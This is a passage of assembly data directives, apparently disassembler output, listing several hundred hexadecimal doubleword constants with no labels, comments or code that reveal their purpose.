		dd 0D49024h, 0CBF2A51Ch, 4C170C5Ch, 6D439CCEh, 0E0F9B1FCh
		dd 0E843101Ch, 0AC363CBCh, 76F69C0Ch, 1B583E18h, 0DAE61794h
		dd 252AB403h, 0DFCC80A9h, 23C01E9Ch, 0AC013A0Eh, 0D0A09A58h
		dd 2E60E0CFh, 0F10887EBh, 42829BF5h, 0CD28E02Dh, 6F9A7448h
		dd 668108C2h, 0E81F5D6Dh, 11F0A1B5h, 0F318F40h,	39809CE0h
		dd 7A86A92Eh, 0F9753059h, 8AC08B01h, 8840A8A1h,	72A5A07Eh
		dd 0A0080F61h, 0DBF08D6Dh, 0C08C0F98h, 2001F77Eh, 0FDAACBC2h
		dd 80A0D70Ch, 0A278503Ah, 0F4B333Ah, 453C660h, 1EC3C0h
		dd 208C8514h, 0B1070D3Bh, 0A9DD32A0h, 0A740E887h, 1BA6D8Fh
		dd 94B2D5CEh, 83C32F56h, 66EBB7AAh, 8145829Ah, 2ED04088h
		dd 52F380E0h, 7B001CDEh, 0DDF7A4DAh, 9718057Fh,	7E069BBh
		dd 0C08D003Dh, 0A08ED528h, 8C0F83B2h, 95FC10E0h, 4F880120h
		dd 9F70AE3Ch, 8226F7F8h, 5E253438h, 0C1689918h,	1D69D7A0h
		dd 54E09A5Ah, 7E1BD88Dh, 0E3BA08B9h, 0F8E8A883h, 0AE3200A7h
		dd 0B3F06091h, 0C52820F8h, 0E3768021h, 0E4D9ECA0h, 0AB33C0F8h
		dd 7C5A20B4h, 57473E08h, 4D78A00Ch, 56604210h, 0A206E520h
		dd 687B03E0h, 0C5BA40A9h, 868A80C1h, 55FBC008h,	0A1187438h
		dd 3820F49Ch, 0B162460h, 4A700C30h, 0EC406E18h,	6F09CD09h
		dd 0DEA6F020h, 98489C70h, 0B8507014h, 0C049E0C0h, 0CE9D0E5Ch
		dd 38108DA9h, 0F82CB0E0h, 2E683280h, 20010608h,	0E0F02AEFh
		dd 5D5904F8h, 8179B09Fh, 0E06EA250h, 9C056BFh, 0C0A157EFh
		dd 0E38183EEh, 2C188962h, 5C38022Dh, 8E9440CDh,	41ACA0E9h
		dd 59A0A010h, 603C90D7h, 0FAE018B1h, 0F8F89A56h, 806FA092h
		dd 0B02B8A20h, 9CF72A3Ch, 7F51BA3Ch, 0D0A150E6h, 3F218C6Fh
		dd 48D5D80Eh, 0A2241C72h, 5400990h, 8006700Eh, 243F409Eh
		dd 5D287C90h, 7F31B84Eh, 53841052h, 10F32098h, 643C62A0h
		dd 18D637A3h, 0A4D3FD00h, 9094E420h, 78793E8Ch,	87E20078h
		dd 0CD43A08Ch, 0EB0240AAh, 0F4E08602h, 0E3EC867Eh, 81227609h
		dd 0C0E7311Bh, 20E48E8Bh, 98CCE48h, 3F1B4C0h, 109047Ch
		dd 582F5C60h, 43BB56DFh, 80C7AFCh, 0A0242320h, 0BCB65141h
		dd 30878E7h, 5F57760Bh,	4809E365h, 168E0334h, 1117F98h
		dd 0CFB9CDDh, 4C0D2370h, 2D00D610h, 34C16598h, 48C71711h
		dd 84183845h, 0D5BAA8B0h, 2EA08D09h, 2BB030E0h,	63B1A0BBh
		dd 2870730Eh, 50E4FF4Fh, 142098F1h, 828B7B1Eh, 0EA48F030h
		dd 20A8A86Eh, 0A130EC65h, 0EDC3995Dh, 51609044h, 4EC09482h
		dd 0CC8CA129h, 2B170834h, 9C44A7A1h, 0AA3A40FBh, 0A3700D9Ah
		dd 88E13924h, 7868C60Dh, 0A06860FEh, 0D8D1501Fh, 1F20A62Dh
		dd 713E273Fh, 853A0389h, 6FE56040h, 1E725820h, 0E3F94402h
		dd 0F4B5D224h, 29C1B09h, 40420550h, 0C757DDF8h,	0CBB11418h
		dd 0E0827FD8h, 9081044Bh, 3C904307h, 0B21F190Fh, 0ADD30791h
		dd 0C68F004Fh, 0EE1E08Bh, 0FD408CA3h, 62700452h, 0E4588179h
		dd 0B9F8415Dh, 0CC64D36Ah, 0FCD04011h, 288DEEECh, 12C06580h
		dd 28375E0h, 997CA818h,	3F0FA096h, 49E42840h, 30948238h
		dd 41E0401Ch, 0C08DE0Eh, 6750A366h, 0A751C0E8h,	2131C1F0h
		dd 3C281C98h, 17284CE4h, 232CC886h, 8005705Dh, 0C038CC85h
		dd 0CBBB098Bh, 240237FDh, 4462ED83h, 0DE061896h, 8BEE4943h
		dd 81631258h, 0FE180B3Dh, 0A005740Eh, 0AA900293h, 20B88E0Ah
		dd 701E3F5h, 0C5B782C1h, 5BC4B154h, 636000EFh, 2239F03Dh
		dd 7C00FF36h, 1F45A5C8h, 67082405h, 3FF43091h, 83D037A3h
		dd 188C38F6h, 0CE10B074h, 940798DCh, 0B237EA73h, 149054F4h
		dd 0F10D0F8h, 34009AC3h, 2F6017DAh, 5B1D80F4h, 5A439B6Fh
		dd 0D8FE1DCFh, 0FEFC9630h, 0F1EE1ED0h, 861F4E63h, 517D0286h
		dd 0F5BB3500h, 629C9AF4h, 1EB007Eh, 16D41A1Bh, 0FD033AC0h
		dd 717ABF26h, 67CEA7CCh, 0C1C12460h, 0FCD0168Ah, 6E1D7C34h
		dd 0F68010AFh, 799ABFD1h, 6468740h, 195A1DAAh, 493128EFh
		dd 216910DEh, 73B9AF0h,	0D3DA1679h, 0DC7A4178h,	0B1588F0Fh
		dd 6C9A8EABh, 0DF2E180Eh, 0EEFE0C38h, 78C1D340h, 0BF2873BAh
		dd 31A89EE3h, 24B10CDAh, 87BAC861h, 9D085D67h, 0C14D80ECh
		dd 3F913A40h, 51DDD012h, 3B31BF78h, 8845F0A3h, 30969098h
		dd 0F066EC9Ah, 78087768h, 1C8DE5Ah, 1AC0B823h, 7A388330h
		dd 0E3BF2481h, 3A9000D6h, 0FA1DED7Dh, 38C6ECADh, 3A60B2DDh
		dd 3078B58Ah, 0D9A84EB6h, 0BA181C2Ch, 853097CBh, 1BA0C620h
		dd 92603090h, 16E1DA10h, 5C1A3115h, 845FFA18h, 0B7F53A80h
		dd 0D058A60Dh, 0C60C3246h, 3014BEFAh, 3EAC740Dh, 0A68054DAh
		dd 0ADC3560Ah, 5D787E4Ah, 0C578AA7Ah, 0C2C96A1Fh, 5010CA07h
		dd 0A2009D8Fh, 0C33E4A77h, 9B6A1876h, 0E04610E3h, 0C83C8AF8h
		dd 32EA0CE1h, 0CA91811h, 890A76D7h, 0F23CAA20h,	0D0CA00E7h
		dd 388AA557h, 6C08C7DAh, 0FD6A814Ah, 4148870Eh,	0C80AA1Eh
		dd 977484h, 6231264Eh, 0C1EAA8CDh, 124211Fh, 76C5A4C5h
		dd 2A751470h, 0BB910092h, 0E12C0125h, 8A23762Fh, 0C46187B0h
		dd 2B934B1h, 1C337DCCh,	82C5640Ch, 77EC511Ch, 0A771498h
		dd 184780C4h, 59F7F000h, 123FE8Ch, 0E6636FE8h, 0A0E45FF8h
		dd 0E9CF8AAh, 0B13F2AA5h, 0B80F489Ah, 708E4F9Fh, 3C7B5D9Eh
		dd 0C4330914h, 0F8AC7528h, 788B3135h, 0E3A66C1Eh, 4AA06DBBh
		dd 0AD0ED92Dh, 956B68EAh, 0AAAEC148h, 0E9855367h, 212D7ACh
		dd 7357B1D0h, 27F14A0h,	10B818B7h, 0C84C010Ah, 280DDC15h
		dd 0E160B8E9h, 164A28A5h, 682A14E0h, 9A33806Ch,	0D0A9EAD0h
		dd 82B63172h, 102BCA08h, 0B830A06Ah, 408DF10Ch,	0CF316C25h
		dd 44033891h, 61410020h, 8F4260DAh, 0D8ECF070h,	358DD0C6h
		dd 24AC4888h, 0DF476A0Fh, 757CA00h, 0E530A6Fh, 84D73978h
		dd 22D4839Bh, 240D1480h, 926A19A4h, 401D706Bh, 0E8770AC8h
		dd 1408C9h, 0F7D42A38h,	0B3EA2B75h, 61F8818Ch, 24B0EE54h
		dd 0CB501A28h, 3561F4D7h, 0A59D8D58h, 0D200A84Bh, 705F27CEh
		dd 0CC037A92h, 2AA42587h, 4A41DF98h, 7906EDADh,	5781DC85h
		dd 71EA4BF4h, 25EC4085h, 0A730206Bh, 0B1F467E7h, 408C98CEh
		dd 462A76F7h, 0C608C553h, 40282787h, 0C0CA5F63h, 24042748h
		dd 0AA0264A6h, 96ADD746h, 877006D8h, 60BD4369h,	9B4B4C14h
		dd 1C24FCh, 0A65C2085h,	0BCF37C70h, 0D68928A3h,	0B16C22C0h
		dd 98E43631h, 789411F8h, 2D350C3h, 0D36F4B3Ch, 765FDCA2h
		dd 44992861h, 0CCC2CFCh, 8F601274h, 48DD2C69h, 0B7AA0AA5h
		dd 5880778Ch, 68188A1Eh, 0CC30D5E3h, 0EF6C92A0h, 0C0C1E051h
		dd 90E70030h, 0B8888590h, 25CC1602h, 0C88390F4h, 70126BD1h
		dd 84026FB0h, 0B8741820h, 265E2954h, 4108785Dh,	4BA5A0C6h
		dd 0ABC80380h, 8FFDBCEh, 4882AC28h, 0C3D30A71h,	4C51053Eh
		dd 70A54577h, 0DABCFB78h, 2D78220h, 0AB2C9B6Ch,	0F8A143CAh
		dd 326FDC25h, 7315C3A0h, 0AC5FBD51h, 0AAE0A2D8h, 86B61FFh
		dd 0E06E1F10h, 3899D69Bh, 257138C0h, 33492F3h, 7652FB2Ch
		dd 384211EAh, 8D52DC90h, 0D0FD190Ch, 0DED228CCh, 98C348F8h
		dd 45066C47h, 61DDCA64h, 0DF838CA5h, 12E2F215h,	2568C21h
		dd 3B144A20h, 0FCA6C461h, 0E338A6Fh, 71CC0E7h, 0D6E64A08h
		dd 0F0BA4776h, 6442CAA6h
		dd 0D90A7307h, 0B9807444h, 4C4A72BCh, 3C487051h, 0B38DE8B0h
		dd 0B0C25824h, 0E069A299h, 0C49C82F2h, 3A3040D9h, 3DE09815h
		dd 0F4F4C7CBh, 0AAD3FE9h, 536FDD1Eh, 3FA446C8h,	0FB3E68D2h
		dd 0B0B4480Ch, 63B76342h, 0D74CE932h, 0F1AAC012h, 0B0EC8010h
		dd 54157C11h, 506CB403h, 124A8850h, 2C6E2296h, 94008378h
		dd 0FE919AF0h, 0D0460C0Ah, 85B0F828h, 9331E957h, 7F2C2890h
		dd 14CAF420h, 0F870ABBDh, 4699D9B0h, 30941430h,	917960CCh
		dd 58DDC3B8h, 89294E3Eh, 8A65EC0Bh, 2E5888BCh, 60CE18C1h
		dd 58C509Dh, 54AA1A2Bh,	0DF062281h, 0AC0096ECh,	0AA571BDEh
		dd 30360750h, 298D0ADh,	0AA19E84Ch, 5E0CF896h, 0A180ED51h
		dd 798D296Ch, 7591C0BCh, 0AF54924Bh, 0F45287A4h, 0D6948078h
		dd 0A8950CECh, 0B97666A4h, 0C3CAC030h, 2A610465h, 35DDCC78h
		dd 0FD0D020Eh, 0A0E61712h, 6E8FA6A0h, 7FF6000Ah, 35ED8531h
		dd 4F3AC52Fh, 0F7A500FAh, 72453026h, 0E5373C2Dh, 0B6357C8Eh
		dd 0B6EB8B3h, 878ED7D1h, 4E27B8C4h, 65357760h, 3027037Dh
		dd 37C57FA5h, 0BF0800A5h, 6DE52FBDh, 851E2E7Ch,	6503CE46h
		dd 0C7304569h, 8C8FCD07h, 23257054h, 21008C46h,	297CD3F5h
		dd 6ECD06B7h, 64382C89h, 5C1C1486h, 1A10DA69h, 93480E01h
		dd 0D5FCA567h, 0B0CC4h,	58E0958Dh, 622ECC4Ch, 8566240Ah
		dd 58607496h, 1CB550h, 30A30372h, 56CD716h, 6149C53h, 573DCD9Eh
		dd 6FEE0AA1h, 0E03C3015h, 0E38199FFh, 0A302BC00h, 6CC28AF0h
		dd 88D60C5h, 661FB5E5h,	926250Ah, 50E04835h, 613ACC51h
		dd 151040BDh, 60E0477Ch, 0A4048691h, 757660ACh,	30D6BAF2h
		dd 31955B07h, 0A516B133h, 327B3070h, 752E3045h,	7DE9D0F0h
		dd 0BCC03142h, 2A271933h, 2F0E80h, 23C53563h, 376531B3h
		dd 1F907D57h, 0F930941Ah, 48085F90h, 0E3B02C35h, 6C319173h
		dd 0D8302894h, 0A42C8444h, 0A93D0228h, 0A3120DCBh, 315B8B81h
		dd 4804A45h, 6C4A5749h,	82A4F04Eh, 31C8B31h, 660E8955h
		dd 10500A09h, 50645A44h, 0B8FA3A1Ah, 3CB079C6h,	0B64501C8h
		dd 6EA534BAh, 44B8E23Dh, 0DB105148h, 0D000A6EBh, 0C534F887h
		dd 30C575A4h, 74294C42h, 319543C4h, 7038A88Fh, 0C89CD296h
		dd 3018BA78h, 90980BAEh, 0A558C5A9h, 85C8075Ch,	8B304498h
		dd 0A7C407ACh, 0C96136B5h, 0B2F8CE13h, 0C1A50931h, 28168D6Bh
		dd 8A8BE003h, 11EFCEDh,	2FF3E210h, 81584B05h, 0B540C608h
		dd 0D8E04A55h, 52877ECh, 0E0FD0C08h, 4141138h, 8DD00FEh
		dd 3212FFF0h, 68750035h, 0F3B0785Fh, 0CB0EDFDBh, 6187AC30h
		dd 1CBA3305h, 0CE91D09Eh, 2FA04818h, 1D6F3A83h,	213CF2F9h
		dd 0C6784A7Ah, 0EE913EB3h, 188B801h, 0F0E3A745h, 380784A6h
		dd 59113BDBh, 0B6DA2BC3h, 0D9782119h, 96A913Ah,	0C92BCC08h
		dd 18FFF98Ah, 824D415h,	8807CC82h, 842D880h, 3C0C85CDh
		dd 0BCB21844h, 0C874A820h, 42701040h, 3CA87DBDh, 0CA1CE19h
		dd 95506118h, 2A54E519h, 0EE216070h, 18AC1A69h,	63112436h
		dd 481406C4h, 5410484Dh, 5FDF80D1h, 9E06B9h, 7AC73E3Ch
		dd 0E26BCD20h, 8230CA8h, 104E7B44h, 2A07590Ah, 525418BEh
		dd 757B490Ch, 0F261940h, 0A006BBD1h, 98DA4C80h,	6A04C1D9h
		dd 756DF03h, 0F716E801h, 17308C3Eh, 0B86218E2h,	94BD00D1h
		dd 424E24CBh, 9103F620h, 2239D9C4h, 8AE090A2h, 84EB001Eh
		dd 0D46F4F01h, 0B300AAF2h, 0FDCF4E8Bh, 0E9E30450h, 9401E8h
		dd 0CAE91820h, 0FAF09C28h, 0BBF21900h, 7498FF4h, 295819C9h
		dd 0D084B816h, 1701F87Dh, 80E40CE3h, 28FCC291h,	0A11D63B0h
		dd 71F05E89h, 1700BC4Ah, 0B47D423Ah, 4CB3148h, 5A5DF969h
		dd 5934C077h, 7E0C8733h, 881532E1h, 50D10573h, 7C4E1770h
		dd 3701B21Ch, 2104DF4Eh, 0B187F228h, 0B077DDAEh, 2ACF18B5h
		dd 50691530h, 2E506F2h,	0B44FF187h, 8C805CE4h, 96CBF30Fh
		dd 0EAA44C50h, 0FB07FA03h, 8808A7E7h, 0A979B0BFh, 0CBE4C3C8h
		dd 73DD302Ah, 0B6E14C50h, 0E16C50Ah, 0F980142Eh, 0E3876C8Eh
		dd 34B2502Fh, 7AB900ACh, 683D8682h, 7E06BBC8h, 92B10706h
		dd 45F71E50h, 42414096h, 0C91A57DAh, 1C651F00h,	6AADD850h
		dd 84E93E17h, 0E106F580h, 0F2CB2688h, 20933703h, 3FA7F53h
		dd 6A096099h, 4802EC6h,	0A50ACBB0h, 0F4022CA1h,	0FD03F3Ah
		dd 3CE9B5Eh, 149840ADh,	6849B038h, 4AB82C07h, 0CB0532C9h
		dd 26EB40B8h, 36734100h, 34A36463h, 45FCEEh, 0FD13045Dh
		dd 41D0FFD2h, 0A08E7C0Ch, 3F29905h, 7D2DC055h, 7AC126A8h
		dd 1960248Ch, 0BF5D0414h, 0EF9E01D4h, 0F512CB0Bh, 0C8E1E1D3h
		dd 27BC1880h, 859FE8F9h, 16482EF4h, 0F0B00C18h,	90BCD892h
		dd 1C9A2824h, 2881F88h,	0D3AFC0C7h, 9191FC6h, 954531CEh
		dd 38FC084h, 710C022Ah,	589014h, 8E3C8C0Ah, 118ED6Bh, 0CCA00FE2h
		dd 15184BF0h, 20B9FBF3h, 7CB14867h, 74CC9E80h, 3F86AB9h
		dd 0DD271100h, 3349E031h, 82D4CF0h, 0CD0AC33Ah,	98819CFh
		dd 4800DAAEh, 3EFF355Eh, 0D4FC7D4Fh, 60AA8444h,	32D40E2h
		dd 7B02FDBAh, 819FFB22h, 3C77412Fh, 54245CDDh, 1EB10004h
		dd 37192B0Ch, 0AF1CBC0Ah, 9FC0619Dh, 0A0864383h, 0AC922Eh
		dd 3FE3B960h, 871B2508h, 0AF69B800h, 2B44900Dh,	0D866527Eh
		dd 869D2605h, 0C32E81F1h, 2070259Fh, 540C808h, 8F410ED5h
		dd 5989644Ah, 0BA6A7400h, 98A00884h, 35035B8h, 5B0388B8h
		dd 0E3D95EEAh, 58E80C49h, 62B075F6h, 282E0A0Ah,	18E130ADh
		dd 7C0A1E41h, 61D41550h, 495C2714h, 0A83304E8h,	48807E1Ah
		dd 4871CC59h, 0BC1F1DB6h, 0BD12A2h, 0A447E748h,	0B831D6F9h
		dd 0BBF69817h, 1EC78B30h, 42785696h, 0B50CF2C5h, 4E1EDC44h
		dd 24802754h, 0E88CC78Fh, 26FFE09Ch, 832C899Fh,	16F6C83Dh
		dd 8FE05107h, 0FDDE5FB3h, 0EA18E507h, 79B1CE81h, 41DD7040h
		dd 0F34F00C1h, 83D3C90h, 0A00DCA7h, 3EFEADB1h, 1DA067DAh
		dd 18A4E5Bh, 32064699h,	8B88442Dh, 0BBF50C8Ch, 75ABF97Ch
		dd 8F5412B5h, 0E8502851h, 8A1470FAh, 834865A1h,	0A9C849C7h
		dd 87F2B99Dh, 8090EAD0h, 24962DC6h, 0C1019A5h, 288045D0h
		dd 0D706BF0Fh, 41DCC512h, 2FA04487h, 0B3C832F2h, 0D4118048h
		dd 2D95A21Eh, 0AB12AE90h, 84002E19h, 97E6E318h,	423D0CB6h
		dd 6739E4E8h, 996F0430h, 30864489h, 0EFE830EDh,	0B52614A0h
		dd 0BC8B09F4h, 60C20064h, 76218A59h, 58650054h,	228804DDh
		dd 5F00D514h, 52595A05h, 39089C3h, 0AA30CF07h, 5CE9F3DAh
		dd 0C3C7DD14h, 0B6AD3111h, 0C458100h, 407BED76h, 0C210AF0Ch
		dd 18C059F7h, 789A3A64h, 0E200C8A7h, 306928DDh,	0B8E1ECh
		dd 248009DBh, 0D7580DA5h, 93490F03h, 3AFEAA59h,	3E868F40h
		dd 11077D3Ah, 0EF2F5F4h, 6D007A46h, 35A15427h, 72033BBCh
		dd 6ABB1EB8h, 0AB51DFACh, 33E44B53h, 510B07B9h,	0D09C2CD7h
		dd 0E47BA5C1h, 8DE1C31Fh, 0C931F800h, 0FBCE25h,	0CB394296h
		dd 364E0803h, 34313E7Fh, 2DA1382Fh, 19B90440h, 0A4060C20h
		dd 2618B86Fh, 6711B300h, 0FA967CCDh, 0DCF50049h, 0E83E4F34h
		dd 0F960C73Bh, 0B08B0681h, 0F688609Ah, 4C6040E7h, 96721801h
		dd 0E8A1B819h, 0B250DCh, 13FE64DAh, 39557C23h, 7984C20Dh
		dd 0E2F04954h, 0BE270363h, 0C6AFC3C0h, 84050D8h, 2C2FCF3h
		dd 0B09E5E30h, 0B7294Ah, 1CF2484h, 0C2940DAAh, 0C3D49800h
		dd 75CC6425h, 2C4B3CE8h, 0BADF600h, 0D793B684h,	82D7400h
		dd 123F0C64h, 421E2E4h,	454C7BA7h, 0F54A8020h, 6E01DD5Eh
		dd 0BE850C54h, 3048141Ch, 414B0206h, 5D445493h,	0B7234880h
		dd 0DE0052F6h, 3331D2F4h, 7C62E27h, 7779D9C3h, 481AA32Dh
		dd 52013800h, 39AC9C8Bh, 0A7D70162h, 0A3970CBAh, 41A0F3B4h
		dd 7506B7EDh, 1535496Ch, 0D9C50071h, 0F4C2884Eh, 0FD005887h
		dd 0D06EFFE5h, 7DD6126Ah, 0B2681D57h, 0E0E85Eh,	9998B0FBh
		dd 2E077B6Bh, 0D70034F0h, 2C4A46D5h, 43D01Bh, 709EFE40h
		dd 0EBCD128Fh, 0F58E5400h, 0F7DE47Ch, 0B8490042h, 86FA2099h
		dd 0E000768h, 0C0A3EC1Ch, 4CBC104Bh, 6B38BBCFh,	319200FFh
		dd 419BB32Fh, 0C203AEF6h, 7AB198DDh, 3A180007h,	1904B5C1h
		dd 0F7007E35h, 870EF9A1h, 91528Ah, 4B449570h, 230928Fh
		dd 0FF26DB0Eh, 0CC04922Fh, 0CC1CAB0h, 12C00520h, 662B582Ch
		dd 63839101h, 8057C988h, 0C2FA9CD9h, 0C112E77h,	1F8BFD73h
		dd 0A400F92Eh, 29146083h, 70DC9Bh, 68ED47DBh, 0A9D50A26h
		dd 91FDC095h, 3AA742Ch,	4A70598Ch, 2E00878Bh, 1CD55E7Ah
		dd 1625055h, 3AB87ED4h,	30D30603h, 0E01D5BE0h, 1C40C2F0h
		dd 5496F822h, 31CE0036h, 953CF52h, 3824A4BBh, 3F4CBDh
		dd 3BC0D245h, 378F507h,	110C9F8Dh, 687975DEh, 0DDF2F3Dh
		dd 29E9A79Dh, 0C110E2D1h, 0F481BC92h, 1C02AE08h, 0FD06966Fh
		dd 8491231Dh, 29B05111h, 6DA3C50Dh, 28BA0628h, 0EA00387Ah
		dd 40A8F155h, 6543E5h, 0DA6EAB4Ch, 0BF2C0A27h, 4345FC26h
		dd 0E019C700h, 0B0E8D925h, 0DED20052h, 9D49B981h, 6E0197B6h
		dd 0B7558286h, 0BC3157E4h, 92A3F8h, 4C617D70h, 5694C959h
		dd 4DDBC31Fh, 0ECD48D00h, 0E203586Dh, 4C80143h,	0A048BD33h
		dd 0C4EEF498h, 407938h,	6E0A60A4h, 0C190E2h, 52B45710h
		dd 0BDA014Bh, 0BCCF1704h, 7AC0F48Eh, 36D0FDCh, 53B4825Ch
		dd 0F2D8CDBDh, 0E04FAB8h, 1481011Bh, 0FF92CC80h, 7D4D0090h
		dd 0ADC4066Fh, 4400EA4Fh, 26CB6DD8h, 1620A1Fh, 3E806384h
		dd 2089F94Bh, 0A31DA1E0h, 0AE00A2ACh, 0CF3435A6h, 0BB720320h
		dd 14C7488Eh, 0D6F222B0h, 47D50600h, 5A4593Ah, 0AFC0016Ch
		dd 24A0660Eh, 9CB7F481h, 160F8B00h, 9D12EB89h, 1297FE5Eh
		dd 5F11D421h, 71123DFCh, 8E7000E2h, 20A48098h, 0A0ECF500h
		dd 91457A9Fh, 5B8318C9h, 0F2411B4h, 274A3E00h, 56886F6Dh
		dd 96E91D2Fh, 0C392392Dh, 0A8A8024Bh, 2F606595h, 9076A924h
		dd 6F0BD80Eh, 0B2130576h, 4EB9B402h, 0B13861A5h, 44F1080h
		dd 2747A0D1h, 6319FB09h, 386E8056h, 0F057B7E3h,	1A5D0008h
		dd 186FAF16h, 4B17396Ah, 200067CBh, 42B15ECEh, 0D031648h
		dd 0D11901D8h, 5126A8A4h, 0C4A276ACh, 86000E2Eh, 8883E60Bh
		dd 2E7DB2F5h, 0C9678h, 0E0181B5Bh, 0A025553Eh, 3C5A5433h
		dd 9ED1B000h, 234CD6AEh, 4322B41Dh, 9B0E0D80h, 0F35D997h
		dd 20300F4Bh, 0E0045BA0h, 0F7007824h, 3DB0F5FFh, 9809BB19h
		dd 7DDB1F9Ch, 21DC56h, 7EB9E30Bh, 7C7DC9FCh, 0D7CA7500h
		dd 6F70BA89h, 0E7280EE9h, 45A08507h, 1CADD8EEh,	55AE3000h
		dd 0CA24F536h, 3F2F72E0h, 0FF0A78C8h, 0F84B14h,	19508CFCh
		dd 0A1003D04h, 0CB74953Fh, 325E7Fh, 0FE0EE1E5h,	15BCE37h
		dd 8B135000h, 0F3A967A0h, 224800AFh, 9AB8561h, 6E702503h
		dd 0BAE13Fh, 18683524h,	47C8A8h, 0FCC795E2h, 73D033E6h
		dd 0A22BF200h, 0BFE38738h, 40D90064h, 578D9093h, 9B00AC76h
		dd 0E2C04FA5h, 83CD6Bh,	4CBCAF95h, 5EF88C0Eh, 37EF2200h
		dd 9603EB97h, 26E600E8h, 0C5A2FEACh, 6700C260h,	0C8A42EB2h
		dd 0EC3C3AAEh, 1F8AFA98h, 0C31E113Eh, 5C821637h, 0D1D650B0h
		dd 0CF280301h, 236C78C1h, 0D46C0C3h, 0E034008Bh, 62F3FC80h
		dd 8700AB51h, 0FD5A2D8Dh, 1254DB7h, 0B69B83F6h,	80B5C9D6h
		dd 9A898A6Ah, 394ECF77h, 0F280D8D9h, 87C798C6h,	0A700BF48h
		dd 0EFC9F3AEh, 4C4118Ah, 0EE7071F6h, 8F038022h,	7A07AF39h
		dd 9CE3A0BEh, 0EDA4C300h, 0D10D00E1h, 5D2140CDh, 0BD0720B0h
		dd 0CAB6BC80h, 5C4D4E90h, 0DD2E3F34h, 0B0D5D0h,	488A846Ch
		dd 56977BFCh, 0D3B3E001h, 4A9E4E49h, 551370h, 65154217h
		dd 6C71E6EEh, 0B19A500h, 7DD23D2Bh, 1279CBh, 0C768F750h
		dd 47F93E39h, 39E88D3Ah, 92087FBh, 0A9F065C2h, 0F36A8Ah
		dd 70C42263h, 49A0E7E9h, 35385C00h, 0A851E6A5h,	0D15B00AEh
		dd 9B276240h, 43001159h, 5D42F6C1h, 0E4F3C649h,	0DE23BCDh
		dd 0C7BA411Eh, 0F04329DEh, 8309228Dh, 805EAD3Eh, 0F185F24Ch
		dd 710AD2BAh, 4A8A2F81h, 2800A974h, 4F468D4Dh, 0F8D10060h
		dd 0FDF6745Ah, 4A3E24EEh, 0B4A9809Eh, 0B3FCD3D4h, 0CEA8C007h
		dd 32AB4023h, 5DDC939h,	68858D9Fh, 545EB8C0h, 7F9C00EBh
		dd 96F4C1CAh, 17113F2h,	319F5900h, 46B3DCC4h, 0BAE00F9Bh
		dd 0A440737Bh, 0D6472F62h, 6F2AE500h, 432185DFh, 0F7DD039Eh
		dd 0B5C41320h, 0D8952DC1h, 5A504F0Bh, 6E0062BCh, 0C6DB5DE9h
		dd 48DCFA0Eh, 980F4094h, 31E0E7EFh, 84CD432Eh, 5BDD3E00h
		dd 87E81A6Fh, 3BD7A8Eh,	0B2FE0833h, 1813C1E7h, 90005314h
		dd 0CB65E062h, 9B71D3Eh, 52EBAACh, 34A60023h, 0D72876BDh
		dd 0CEA9F607h, 7A01E03Eh, 0B0D8818Eh, 4C4500E2h, 909D2C46h
		dd 0E30EBA98h, 251F0104h, 0FA80AA7Fh, 1CADB0B7h, 2265DEBh
		dd 8C23A9D2h, 0A6A8F543h, 1D0084B6h, 5EF27BA7h,	30F4D9D3h
		dd 4666DD4Eh, 0FA00E79Ah, 8972640h, 70AEF980h, 0AAEA3FC8h
		dd 4ACC6187h, 4F8B4079h, 0E7008C39h, 89D541FEh,	0FF4926Ch
		dd 0E4BAC316h, 7BBC9060h, 401C61EFh, 1BC0D7E7h,	1D3B16E5h
		dd 45F900C9h, 0EEEB29F5h, 0CE3C9FF0h, 0F1870085h, 531A303Eh
		dd 1E1400EFh, 4EAA685Dh, 0FC4CFF8Eh, 0D400172h,	8246EA21h
		dd 156CCh, 509FC112h, 0A99893ACh, 0E000E3E0h, 0B0613F63h
		dd 37D0B1h, 223D49C0h, 72796D83h, 3EA4B402h, 0E06AACC5h
		dd 74B98Eh, 0F9FF38C4h,	0FC972EEEh, 808A663Bh, 0AFC2C65Ah
		dd 0C33F9Ch, 427AFBEAh,	359728ABh, 40049E4h, 0BC4379ADh
		dd 1BFE2h, 766EF1F2h, 0CCB6E3B0h, 2EAE3C00h, 0A54864C5h
		dd 7B4FA62h, 888DD44Ch,	0EB3BB008h, 5D002EF6h, 505B8402h
		dd 169328Bh, 4F75AF91h,	0D7AC56B4h, 803983D8h, 14B66700h
		dd 63F6F08Ah, 11EA1C61h, 0A981C00Bh, 0E4BCD907h, 0E31E2005h
		dd 6F8AD34h, 0E7708807h, 0DC81F0A3h, 5E0030C5h,	80E22419h
		dd 48F72Eh, 51CECFEh, 501086AAh, 38453Ah, 3BCDB08Bh, 72374Dh
		dd 0D623FAE1h, 8EAC4A5Fh, 5258B800h, 39E6F421h,	0E877003Dh
		dd 0F7C96A7Fh, 8E004CA2h, 0F986EE58h, 1D5EF650h, 0CEA6AF8Bh
		dd 4DE0052Bh, 0BEEEC5E7h, 0BB871200h, 438E3D4Fh, 6B16481Dh
		dd 0D7AE7100h, 8B2BDB44h, 3CFF1200h, 0E9785869h, 1EBFE1Fh
		dd 99AC0CD9h, 0E0BAA410h, 87E39831h, 1E618E70h,	3C9FB93h
		dd 179B4461h, 0FF98EDCFh, 4260E077h, 3B58A818h,	363F47Ah
		dd 67B8C784h, 0DD98C4EDh, 68015C52h, 277AACB6h,	0A130FAF7h
		dd 0C650070h, 0DE3C7CBBh, 153E5508h, 2E8C00F8h,	5002C5D1h
		dd 130B017Fh, 99E81728h, 2507FC24h, 0B6583200h,	0C20DF76Ah
		dd 8EE853h, 5D39A965h, 0AE36DA46h, 304AD830h, 8FF6ACh
		dd 0B166C4B5h, 9D9A4A1h, 4F1C5E09h, 0DD5605B3h,	0DB81BF80h
		dd 110200D4h
		dd 8E449BDFh, 92019119h, 376B05F8h, 93E8AA5Fh, 53145C64h
		dd 397A8100h, 1A6161Eh,	0B5DC5600h, 0F7635232h,	65113E4Ah
		dd 0BEA670Fh, 59FDA9C0h, 0E9F0030Ch, 5FBEF000h,	55B47F0Ah
		dd 68A800B3h, 4030729Eh, 4900D417h, 0D1E42116h,	9578BFh
		dd 2AF64F37h, 45C15D60h, 0B18DC21Eh, 0C56900B8h, 0E98F6276h
		dd 113B003Ah, 0BC416B3Eh, 53077B9Fh, 64D55948h,	0B8E6B760h
		dd 0FD40EA6h, 5A205FC6h, 0BDA5A069h, 4D033071h,	344AE4DAh
		dd 50A8901Bh, 0C9F13C2h, 0C837003Ch, 21727F08h,	0ABDD2A00h
		dd 4EF1D2B9h, 13C21FFDh, 0C0111E8Eh, 9710D895h,	58009B02h
